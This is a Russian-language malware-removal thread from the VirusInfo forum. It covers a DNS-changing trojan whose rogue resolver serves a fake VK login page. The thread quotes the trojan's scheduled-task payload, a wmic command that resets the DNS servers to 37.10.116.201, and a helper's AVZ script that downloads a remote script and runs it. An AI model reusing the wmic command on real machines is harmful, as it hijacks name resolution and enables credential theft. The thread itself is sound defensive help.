Printable View
здравствуйте, недавно появилась проблема с подменой главной страницы ВК (страница ввода логина, пароля)
проверил комп полностью в безопасном режиме и cureit'ом и avz, нашли пару вирусов, вроде не связанных с моей проблемой.
сейчас проблема частично (на 1 день) решается исправлением в hijackthis записи O17 из лога [ATTACH]453128[/ATTACH][ATTACH]453129[/ATTACH][ATTACH]453130[/ATTACH]
зы. как-то вложения криво вложились
Уважаемый(ая) [B]Хобс[/B], спасибо за обращение на наш форум!
Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
Пофиксите в HiJack
[CODE]O17 - HKLM\System\CCS\Services\Tcpip\..\{90A1C59B-206D-4470-8E2B-08B1F06946A5}: NameServer = 37.10.116.201,8.8.8.8[/CODE]Сделайте новый лог
Сообщите содержимое папки Windows\Tasks
[ATTACH]453286[/ATTACH]
windows/tasks :
Adobe Flash Player Updater.job
At1.job
GoogleUpdateTaskMachineCore.job
GoogleUpdateTaskMachineUA.job
SA.DAT (скрыт)
SCHEDLGU.TXT
At1.job удалите
Что с проблемой?
открыл его блокнотом, и вот такая строка там:
w m i c . e x e U n i c c o n f i g w h e r e I P E n a b l e d = t r u e c a l l S e t D N S S e r v e r S e a r c h O r d e r ( 3 7 . 1 0 . 1 1 6 . 2 0 1 , 8 . 8 . 8 . 8 )
удалил, слетел интернет, перезагрузился, пока всё нормально.
если в течении 2-3 дней проблема снова не появится - тему можно закрывать.
спасибо
[COLOR="silver"]- - - Добавлено - - -[/COLOR]
проблема не устранилась, приклерпляю новые логи, содержимое папки tasks не изменилось
[ATTACH]453468[/ATTACH][ATTACH]453467[/ATTACH][ATTACH]453466[/ATTACH]
Т.е. снова появился At1.job ?
неа. после его удаления ничего нового в папке не появилось
Запустите HiJack по правой кнопке мыши от имени Администратора и повторите фикс
не помогло
Новый лог HiJack где?
вот логи, сделанные когда dns сменён и когда всё нормально
[ATTACH]454013[/ATTACH]
Сделайте логи [url="http://virusinfo.info/showthread.php?t=115256"]RSIT[/url]
Сделайте лог [url="http://virusinfo.info/showpost.php?p=493610&postcount=1"]ComboFix[/url]
[ATTACH]454101[/ATTACH]
Пофиксите в HiJack
[CODE]O17 - HKLM\System\CCS\Services\Tcpip\..\{90A1C59B-206D-4470-8E2B-08B1F06946A5}: NameServer = 37.10.116.201,8.8.8.8[/CODE]Сделайте новый лог
шо, опять ?
Плохого не видно в логе
но dns снова сменился
вот в этой теме просили ещё выполнить разные скрипты в avz [url]http://virusinfo.info/showthread.php?t=151981[/url]
- Повторите логи [B]virusinfo_syscheck.zip[/B] и РСИТ из [URL="http://virusinfo.info/showthread.php?t=9279"]безопасного режима[/URL].
+ также сделайте
[url=http://virusinfo.info/showthread.php?t=121767]Сделайте полный образ автозапуска uVS[/url]
30 декабря решил проверить комп ещё раз cureit'ом, он нашёл остатки At1.job (Trojan.DnsChange.5026). с тех пор всё нормально. всем спасибо
смените пароли.
Выполните скрипт в AVZ при наличии доступа в интернет:
[CODE]var
LogPath : string;
ScriptPath : string;
begin
LogPath := GetAVZDirectory + 'log\avz_log.txt';
if FileExists(LogPath) Then DeleteFile(LogPath);
ScriptPath := GetAVZDirectory +'ScanVuln.txt';
if DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', ScriptPath, 1) then ExecuteScript(ScriptPath) else begin
if DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', ScriptPath, 0) then ExecuteScript(ScriptPath) else begin
ShowMessage('Невозможно загрузить скрипт AVZ для обнаружения наиболее часто используемых уязвимостей!');
exit;
end;
end;
if FileExists(LogPath) Then ExecuteFile('notepad.exe', LogPath, 1, 0, false)
end.[/CODE]
После его работы, если будут найдены уязвимости, в блокноте откроется файл avz_log.txt со ссылками на обновления системы и критичных к безопасности программ, которые нужно загрузить и установить. В первую очередь это относится к Java Runtime Environment, Adobe Reader и Adobe Flash Player, это программы, уязвимостями в которых наиболее часто пользуются для внедрения зловредов в систему.
[url=http://virusinfo.info/showthread.php?t=121902]Советы и рекомендации после лечения компьютера[/url]
от вк сразу сменил пароль, потому что я как лалка повёлся на подмену и сам его ввёл. посмотрел в активности, что "злоумышленник" с немецкого ip заходил на страницу.
от чего ещё поменять пароль?
от всех сайтов которыми пользуетесь.